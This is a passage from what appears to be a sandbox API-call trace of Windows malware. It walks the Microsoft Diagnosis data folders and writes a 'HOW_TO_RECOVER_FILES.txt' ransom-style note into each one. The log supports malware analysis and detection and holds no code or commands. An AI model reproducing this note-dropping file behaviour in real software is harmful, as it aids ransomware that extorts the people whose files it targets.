users\\microsoft\\diagnosis\\osver.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7820) returned 1 [0137.822] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", lpFilePart=0x0) returned 0x30 [0137.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0137.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat"), fInfoLevelId=0x0, lpFileInformation=0x38d7020 | out: lpFileInformation=0x38d7020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfbb1de, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8bfbb1de, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8bfbb1de, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0137.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0137.823] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat", lpFilePart=0x0) returned 0x30 [0137.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0137.823] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\parse.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\parse.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7820) returned 1 [0137.825] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", lpFilePart=0x0) returned 0x3f [0137.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0137.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat"), fInfoLevelId=0x0, lpFileInformation=0x38d76c8 | out: lpFileInformation=0x38d76c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x774ff760, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb85cc8d2, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb85cc8d2, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0137.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0137.825] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat", lpFilePart=0x0) returned 0x3f [0137.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0137.825] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\VortexSchemaRequests.dat" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\vortexschemarequests.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7820) returned 1 [0137.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.828] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader", lpFilePart=0x0) returned 0x35 [0137.828] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.828] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d545, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.828] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ea250d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.828] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.828] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.828] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader", lpFilePart=0x0) returned 0x35 [0137.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.829] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.829] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ea250d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.829] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ea250d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0137.829] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.829] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0137.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0137.830] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\AsimovUploader\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\asimovuploader\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0137.831] GetFileType (hFile=0x6e4) returned 0x1 [0137.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0137.831] GetFileType (hFile=0x6e4) returned 0x1 [0137.831] WriteFile (in: hFile=0x6e4, lpBuffer=0x38e8218*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x38e8218*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0137.832] CloseHandle (hObject=0x6e4) returned 1 [0137.832] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.832] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios", lpFilePart=0x0) returned 0x3a [0137.832] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.833] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69d9a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.833] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ea250d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.833] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1 [0137.833] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0137.833] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.833] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios", lpFilePart=0x0) returned 0x3a [0137.833] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37ea250d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x37ea250d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x37ea250d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 1 [0137.834] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0 [0137.834] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0137.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0137.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0137.835] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x53 [0137.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0137.835] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedScenarios\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedscenarios\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0137.836] GetFileType (hFile=0x6e4) returned 0x1 [0137.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0137.836] GetFileType (hFile=0x6e4) returned 0x1 [0137.836] WriteFile (in: hFile=0x6e4, lpBuffer=0x38f9ee0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x38f9ee0*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0137.837] CloseHandle (hObject=0x6e4) returned 1 [0137.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0137.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings", lpFilePart=0x0) returned 0x39 [0137.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38feb5cc, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x38feb5cc, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3857d38a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.ASM-WindowsDefault.json.bk.gоod", cAlternateFileName="TELEME~1.GOD")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1 [0137.838] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7f139471, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7f139471, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f4f45ae, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="telemetry.P-ARIA-5476d0c4a7a347909c4b8a13078d4390-f8bdcecf-243f-40f8-b7c3-b9c44a57dead-7230.json", cAlternateFileName="TELEME~3.JSO")) returned 1 [0137.839] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="utc.app.json", 